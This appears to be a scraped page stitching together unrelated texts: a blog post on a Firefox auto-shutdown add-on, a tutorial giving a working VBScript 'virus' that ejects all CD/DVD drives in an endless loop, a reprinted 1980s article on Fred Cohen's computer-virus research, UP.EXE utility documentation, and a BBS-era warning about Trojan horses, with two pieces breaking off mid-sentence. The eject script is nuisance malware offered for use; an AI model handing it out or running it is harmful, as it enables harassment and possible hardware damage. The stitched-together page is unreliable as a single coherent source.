How to Shutdown Computer automatically Using Firefox Auto Shutdown Add-on

4222061665 632c48d187 o How to Shutdown Computer automatically Using Firefox Auto Shutdown Add onFirefox is the top most world widely used web browser. Because it is handy and have lots of features though its add-on and extension. Sometimes we download files using Firefox and on the same time we need to go for some work. So until we come back the computer waste the energy. In this situation we can use Firefox Auto shutdown the computer when downloads are completed and helps us to save electric power.

4222067729 241056e744 How to Shutdown Computer automatically Using Firefox Auto Shutdown Add on

Auto Shutdown is a cool Firefox add-on which controls your active download and shut down the computer when downloads are completed through is auto executing user script. Not only this but if Firefox is running idle it also shut downs the pc 4222074655 e22c0502ae o How to Shutdown Computer automatically Using Firefox Auto Shutdown Add onautomatically with pre defined shut down time.

If you are using Downthemall Firefox extension for downloading movies, video, music and images from web then you can easily integrate Auto shutdown Firefox extension with downthemall add-on.

Download Auto shutdown Firefox Add-on

Virus That Ejects your CD/Dvd Drive Again and Again.

Try at your own risk. I am not responsible for your own deeds. For educational purpose only.

In this blog i will show you how to create a Virus That Ejects your CD/Dvd Drive Again and Again.. Its not a prank… This Can Damage your CD/Dvd Drive…

Here is the code:

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Write this code in notepad and save it as anything.vbs
Virus created. Now you just need to click it and Enjoy….

Attack of the Computer Virus, by Lee Dembart

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÉÍÍÍÍ͵ COLOSSUS TIMES ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ REPORTER-> EDITOR PAGE 33 º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Security experts are afraid that sabateurs could
infect computers with a “virus” that would remain
latent for months or even years, and then cause
chaos.

Attack of the Computer Virus
——————————–

By Lee Dembart

Germ warfare-the deliberate release of deadly bacteria or viruses-is a
practice so abhorrent that it has long been outlawed by international treaty.
Yet computer scientists are confronting the possibility that something akin to
germ warfare could be used to disable their largest machines. In a
civilization ever more dependent on computers, the results could be disastrous
-the sudden shutdown of air traffic control systems, financial networks, or
factories, for example, or the wholesale destruction of government or business
records.

The warning has been raised by a University of Souther California reasercher
who first described the problem in September, before two conferences on
computer security. Research by graduate student Fred Cohen, 28, shows that it
is possible to write a type of computer program, whimsically called a virus,
that can infiltrate and attack a computer system in much the same way a real
virus infects a human being. Slipped into a computer by some clever sabateur,
the virus would spread throughout the system while remaining hidden from it’s
operators. Then, at some time months or years later, the virus would emerge
without warning to cripple or shut down any infected machine.

The possibility has computer security experts alarmed because, as Cohen
warns, the programming necessary to create the simplest forms of computer
virus is not particularly difficult. “Viral attacks appear to be easy to
develop in a short time,” he told a conference co-sponsored by the National
Bureau of Standards and the Department of Defense. “[They] can be designed to
leave few if any traces in most current systems, are effective against modern
security policies, and require only minimal expertise to implement.”

Computer viruses are aptly named; they share several insidious features with
biological viruses. Real viruses burrow into living cells and take over their
hosts’ machinery to make multiple copies of themselves. These copies escape to
infect other cells. Usually infected cells die. A computer virus is a tiny
computer program that “infects” other programs in much the same way. The virus
only occupies a few humdred bytes of memory; a typical mainframe program, by
contrast, takes up hunreds of thousands. Thus, when the virus is inserted into
an ordinary program, its presence goes unnoticed by computer operators or
technicians.

Then, each time the “host” program runs, the computer automatically ececutes
the instructions of the virus-just as if they were part of the main program. A
typical virus might contain the following instructions: “First, suspend
execution of the host program temporarily. Next, search the computer’s memory
for other likely host programs that have not been already infected. If one is
found, insert a copy of these instructions into it. Finally, return control
of the computer to the host program.”

The entire sequence of steps takes a half a second or less to complete, fast
enough so that no on will be aware that it has run. And each newly infected
host program helps spread the contagion each time it runs, so that eventually
every program in the machine is contaminated.

The virus continues to spread indefinately, even infecting other computers
whenever a contaminated program in transmitted to them. Then, on a particular
date or when certain pre-set conditions are met, the virus and all it’s clones
go on the attack. After that, each time an infected program is run, the virus
disrupts the computer’s operations by deleting files, scrambling the memory,
turning off the power, or making other mischief.

The sabateur need not be around to give the signal to attack. A disgruntled
employye who was afaid of getting fired, for example, might plot his revenge
in advance by adding an insruction to his virus that caused it to remain
dormant only so long as his personal password was listed in the system. Then,
says Cohen, “as soon as he was fired and the password was removed, nothing
would work any more.”

The fact that the virus remains hidden at first is what makes it so
dangerous. “Suppose your virus attacked by deleting files in the system,”
Cohen says. “If it started doing that right away, then as soon as your files
got infected they would start to disappear and you’d say ‘Hey, something’s
wrong here.’ You’d probably be able to identify whoever did it.” To avoid
early detection of the virus, a clever sabateur might add instructions to the
virus program that would cause it to check the date each time it ran, and
attack only if the date was identical -or later than- some date months or
years in the future. “Then,” says Cohen, “one day, everything would stop. Even
if they tried to replace the infected programs with programs that had been
stored on back-up tapes, the back-up copies wouldn’t work either – provided
the copies were made after the system was infected.

The idea of viruslike programs has been around since at least 1975, when the
science fiction writer John Brunner included one in his novel `The Shockwave
Rider’. Brunner’s “tapeworm” program ran loose through the computer network,
gobbling up computer memory in order to duplicate itself. “It can’t be
killed,” one charachter in the book exclaims in desperation. “It’s
indefinately self-perpetuating as long as the network exists.”

In 1980, John Shoch at the Xerox Palo Alto research center devised a
real-life program that did somewhat the same thing. Shoch’s creation, called a
worm, wriggled through a large computer system looking for machines that were
not being used and harnessing them to help solve a large problem. It could
take over an entire system. More recently, computer scientists have amused
themselves with a gladitorial combat, called Core War, that resembles a
controlled viral attack. Scientists put two programs in the same computer,
each designed to chase the other around the memory, trying to infect and kill
the rival.

Inspired by earlier efforts like these, Cohen took a security course last
year, and then set out to test whether viruses could actually do harm to a
computer system. He got permission to try his virus at USC on a VAX computer
with a Unix operating system, a combination used by many universities and
companies. (An operating system is the most basic level of programming in a
computer; all other programs use the operating system to accomplish basic
tasks like retrieving information from memory, or sending it to a screen.)

In five trial runs, the virus never took

SOFTDOCS: UP.EXE Version 3.2 by Wong Wing Kin (1993)

UP.EXE V3.2 Copyright (c) 1990, 1991, 1992, 1993
by Wong Wing Kin
All rights reserved.

What is UP?

This is an utility for executable files decompression. It can
decompress EXE or COM compressed by DIET, PKLITE, LZEXE, EXEPACK,
COMPACK. It can also unpack unextractable EXE compressed by PKLITE.

What’s new?

v3.2
1. It can decompress all EXE with overlay.
2. The bug in decompressing pklited EXE is corrected.
3. It will not require unnecessary memory to decompress the EXE.
(It will need unnecessary memory to decompress overlayed EXE in
the previous versions.)

v3.1
1. It can now decompress DIETed overlayed EXE.
2. It can now recognize the EXE with corrupted compressor signature.

How to contact the author?

As I am now busy in my studies, I have no time to write a detail
document. If you find any problems in using this program, you can
contact the author through e-mail:

Internet address:
cs_wwkin@stu.ust.hk

Discliamer:

UP.EXE is supplied as is. The author disclaims all warranties,
expressed or implied, including, without limitation, the warranties
of merchantability and of fitness for any purpose. The author
assumes no liability for any damages, direct or consequential, which
may result from the use of, or inability to use UP.EXE.

Rumors of Worms and Trojan Horses by Mike Guffey

RUMORS OF WORMS AND TROJAN HORSES
Danger Lurking in the Public Domain
introduced and edited by Mike Guffey

-INTRODUCTION
There are literally thousands of free (or nearly free) programs
available in computerdom’s Public Domain. Those who use them save
hundreds of dollars and thousands of hours. But many sneer at the
idea of anything worthwhile being “free”. Thus personal computing
becomes divided into two camps: those who believe there are two
camps and the rest who use Public Domain software (but sport
no sense of moral superiority). For several years now rumors
have circulated about dangerous programs which, when run,
infest the innards of personal computers like parasites.
And unlike most software, these insideous programs don’t go
away when the power is shut off. The story is they invade
ROMs and “eat” memory away each time hardware is powered up.
The legends have a basis in fact. For such horrors =do= exist
in the world of mainframes. Probably first created by a bored
or disgruntled programmer, such programs have been unleashed
inside some of this country’s largest computers. Generally,
they are not outwardly visible, but begin the attack like a
low grade fever. And these horrible little strings of code do
damage a little at a time, slowly building in intensity. At
first, things start going slightly awry. Ultimately, the
system crashes or must be shut down. One recent magazine
article called these creations “computer viruses”. Just =how=
damaging such programs can be (or have been) has not been
fully publicized. But the facts lie on a razor’s edge
between science fiction and tomorrow’s headlines. They are
believed to pose a serious potential threat to national
security. Some say the first of such monsters appeared on
computer bulletin boards (BBS’s) named “WORM.COM”. [Remember
that it is only recently that any online descriptions began to
be posted next to program names. Some BBS’s, notably CP/M
based systems, still do not offer any explanation beyond the
program name or notes in the associated message base part of the
system.] And almost every computer user group has at least
one experienced member who can tell the horrible tales of
what these programs do. Actual witnesses to the destruction or
victims of the atrocities seem to be =very= rare. Related to
the twisted thinking behind such criminal mischief is the
so-called “TWIT” phenomenon. Twits are computer vandals who
glory in breaking into and “crashing” or seriously damaging
remote computer systems. The targets range from neighborhood
BBS’s to any large computers which can be accessed via phone
lines. And while such mental midgets have been glorified in the
media and mis-labeled as “hackers”, their very existence causes
hysteria in and amongst the non-computing public at large.
Computer security for large and small remote computer systems is
getting better at screening out or scaring off “twits”. But they
still exist. There are indications that some have graduated from
incessant attempts to break into BBS’s. Instead they bring forth
Trojan horses: damaging programs disguised as utilities and
mis-labled or misdocumented as new treasures of the Public
Domain.
==]#[=== The following data was recently retreived from a
California BBS: WARNING! DANGEROUS PROGRAMS 1) Warning: Someone
is [or may be] trying to destroy your data. Beware of a SUDDEN
upsurge of [spurious] programs on Bulletin Boards and in the Public
Domain. These programs purport to be useful utilities, but, in
reality, are designed to sack your system. One has shown up as EGABTR,
a program that claims to show you how to maximize the features of
IBM’S Enhanced Graphics Adapter. It has also been spotted
renamed as a new super-directory program. It actually erases
the (F)ile (A)llocation (T)ables on your hard disk, [thereby
rendering all data useless and inaccessible]. For good measure,
it asks you to put a disk in Drive A:, then another in Drive B:.
After it has erased those FATs too, it displays,
” Got You! Arf! Arf! ” Don’t [casually] run any
public-domain program that is not a known quantity. Have
someone you know and trust vouch for it. ALWAYS examine it
FIRST with DEBUG [or DDT or a similar utility]. Look at
all the ASCII strings and data. If there is anything even
slightly suspicious about it, [either] do a cursory disassembly
[or discard it]. [For MSDOS programs] be wary of disk calls
(INTERRUPT 13H), especially if the program has no business
writing to the disk. Run your system in Floppy only mode
with write protect tabs on the disk or junk disks in the
drives. Speaking of Greeks bearing gifts, Aristotle said
that the unexamined life is not worth living. The unexamined
program [may not be] worth running. – from The Editors of PC
July 23, 1985 Volume 4, Number 15 2) Making the rounds of the
REMOTE BULLETIN BOARDS [is] a program called VDIR.COM. It is a
little hard to tell what the program is suppose to do. What it
actually does is TRASH your system. It writes garbage onto
ANY disk it can find, including hard disks, and flashes up
various messages telling you what it is doing. It’s a TIME BOMB:
once run, you can’t be sure what will happen next because it
doesn’t always do anything immediately. At a later time, though,
it can CRASH your system. Anyway, you’d do well to avoid
VDIR.COM. I expect there are a couple of harmless, perhaps even
useful, Public Domain programs floating about with the name VDIR;
and, of course, anyone warped enough to launch this kind of trap
once, can do it again. Be careful about untested “free”
software. [paraphrased from Computing at Chaos Manor From the
living Room By Jerry Pournelle BYTE Magazine, The small systems
Journal] Two other examples of this type of program: 1.
STAR.EXE presents a screen of stars then copies RBBS-PC.DEF
and renames it. The caller then calls back later and d/l the
innocently named file, and he then has the SYSOP’S and all the
Users passwords. 2. SECRET.BAS This file was left on an RBBS
with a message saying that the caller got the file from a
mainframe, and could not get the file to run on his PC, and asked
someone to try it out. When it was executed, it formatted all
disks on the system. We must remember, that there are a few
idiots out there who get great pleasure from destroying
other peoples’ equipment. Perverted I know, but we, the
serious computer users, must take an active part in fighting
against this type of stuff, to protect what we have. Be sure to
spread this [message] to other BBS’s across the country so that
as many people as possible will be aware of what is going on.
[from The Flint Board Flint, Mich (313) 736-8031]
===]#[=== -EPILOGUE Got your attention? There is
no need to hatchet your modem and erase your communications
software. While such programs can do tremendous damage, they
are, fortunately, very rare. The following is an
expansion of the countermeasures suggested above. A)
More?
Never, NEVER, N>E>V>E>R>! download and run Public Domain
software (the first time) on a hard disk. While many programs
are well known, it is a logical presumption that Trojan
horse-type programs may have been uploaded with the name of a
well-known utility. Or as a new version of one of your old
favorites. Download them to a blank floppy or to a disk you have
a current backup copy of. B) Get in the habit of examining
unknown software with HEX/ASCII utilities that will reveal
copyright data, documentation, program error and prompt messages.
A good choice in MSDOS is called PATCH.COM and in CP/M there
is DUMPX.COM. Even if a program is written in protected BASIC,
you may still be able to find some useful data this way.
[This is also a way to find documentation for good programs
without .DOC files or descriptions.] C) Be wary of text files
suggesting patches with DEBUG or DDT that you do not
understand. ALWAYS make such modifications to a backup copy of
your .COM, .EXE, .OVR files. There are no known examples of
Trojan horses appearing this way, but… D) Make those BBS’s
which screen programs before making them available your
first (but not your only) choice for acquiring new PD software.
If you cannot figure out what a program does, =don’t= upload
it to some other BBS. E) Be wary but not paranoid. Be careful
but not overcautious. Do not fan the fires of hysteria by
More?
passing along rumors of worms and Trojan horses. Speak of what
you =know=. There are alot of good programs out there in the